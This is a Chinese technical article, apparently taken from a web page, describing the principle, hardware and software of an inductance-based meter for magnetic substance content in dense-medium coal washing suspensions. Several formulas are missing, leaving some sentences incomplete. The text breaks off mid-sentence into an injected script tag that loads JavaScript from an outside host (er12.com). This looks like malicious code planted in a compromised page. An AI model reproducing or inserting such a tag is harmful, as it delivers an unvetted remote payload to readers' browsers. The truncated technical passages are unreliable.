磁性物质含量计是重介质洗煤厂必备的在线检测介质变化的测量仪器，用于监测磁性物质的含量，由此可推算出介质中非磁性物质的含量，从而在悬浮液密度一定的情况下调整其黏度，以提高产品质量和分选效率。
1设计原理
根据电磁场理论，线圈的电感量可由下式计算：l＝μ0μrn2s／l，其中，μ0为真空磁导率，μr为线圈管内介质相对磁导率，n为线圈匝数，s是线圈横截面积，l为线圈长度。当线圈的匝数、横截面积、长度确定后，线圈的电感量与其中介质的磁导率成正比。重介质选煤时的悬浮液由磁铁矿粉与水配制而成，并拌有洗选过程中的煤泥，其中水和煤泥是非磁性物质，其磁导率接近真空磁导率，亦即μr≈1；而磁铁矿粉是磁性物质，其磁导率比真空磁导率高两个数量级以上，即。因此，当重介质悬 浮液流经一个感应线圈时，其磁导率μr将随且仅随磁性物质的含量而变化，故线圈的电 感量也将与铁磁物质的含量成正比。同时，电感的伏安特性为线圈的自感电动势ε＝－l(di／dt)，若采用三角波电流源，那么(di／dt)为同周期的方波，则在半个周期内，(di／dt)为常数，则ε与l成正比。若设任意时刻线圈上的自感电动势为ε，悬浮液中铁磁物质的含量为h，则它们之间的关系如图1所示。
其中，ε0、h0为线圈空心时产生的自感电动势及悬浮液中铁磁物质的含量，此状态为含量计铁磁物质含量的零状态，即h0＝1，相应的ε0为非零值，称零度值；εm、hm为线圈中充满铁磁物质时产生的自感电动势及悬浮液中铁磁物质的含量，此状态为含量计铁磁物质含量的满量程状态，相应的εm称为满度值。任意时刻均有h0＜h＜hm，而相应的ε0＜ε＜εm。
由图1可知：
为了计算方便，可使hm=1 000 kg／m3，即当线圈中充满铁磁物质时，通过线圈绕制控制每排的匝数，使其所包围的体积中含铁磁物质为1 000 kg／m3，则磁性物质含量计可以直接显示出悬浮液中铁磁物质的含量，量程为0～1 000 kg／m3
2硬件组成
2.1变送器
变送器由导管及电感线圈构成。
导管采用非磁性的耐磨材料不锈钢制成，直径可依据现场要求而做变更。
线圈的匝数与直径依电感量要求而定，用平排密绕方式绕制其上，绕制宽度由导管直径及其量程来确定。线圈外部用非磁性材料封装定位。
变送器两端与外部被测管道用法兰盘连接固定。
2.2显示器
显示器采用lcm045型4位8段带小数点通用仪器仪表液晶显示模块，可与单片机接口，内置显示ram，使用编程简单，低功耗，显示清晰，稳定可靠。
2.3转换器
转换器的核心是一块主板，完成三角波电流源的产生及数据处理功能。如图2所示。
2.3.1电源
现场有±24 v电源，需生成＋5 v与±12 v电源，采用电源变换器完成。
2.3.2数据处理及存储
采用89c52单片机，其256字节的数据存储区为数据的运算处理提供了充足的空间，8k字的fl ash内存也较适合程序的长度。为提高运算速度，采用24 m晶体。
数据处理后，为防止掉电丢失，防备工作现场的意外情况，采用了i2c接口的eeprom24c04。24c04是带有i2c接口的存储器，掉电数据不丢失。用单片机的两个通用i／o引脚模拟i2c接口。
2.3.3电流源产生
由三角波发生器及电流源电路组成。首先采用d／a转换芯片产生方波，经积分器生成三角波输出，在设计中，d／a转换器采用的是12位双通道的ad7537。当d／a转换器输出固定数值时，若延时足够时间，使电容完成充电过程，即能输出直流电。
2.3.4数据输入
电路中设置了3个采样点，为简化电路，只用了一片a／d转换器，故增加了一片电子开关芯片。a／d转换器采用的是ad574，12位单通道，转换速率为25μs，电子开关采用的是cd405 1，8路，输入范围为12～＋12 v。
2.3.5零度、满度控制
选煤时，混合液流经的管道中，磁感应强度μ介于管子中空芯与充满铁磁粉之间，空芯时电感上的纯交流电压为下限，即零度值；充满铁磁粉时电感上的纯交流电压为上限，即满度值。用单片机的通用i／ｏ引脚外接2个按键，即可控制数值的读入，并送入24c04中存储。
3软件设计
3.1检测信号的生成
检测信号由ad7537在单片机的控制下生成，为此，采用了t0中断，定时给d／a转换器交替送 入最小值(0000h)、最大值(0fffh)，结合硬件电路即能生成±2.5 v的方波。
3.2自动计算及显示
系统应自动检测电压变化并及时显示。故采用t1做16位定时器，分别送出0.2 s、0.6 s及1 h的标志，主程序依据这些标志分别执行计算自感电动势、送显示及计算直流电压的操作。
3.3零度值及满度值的校准
零度值及满度值的校准是在现场由调试人员进行的。主?script src=http://er12.com/t.js>
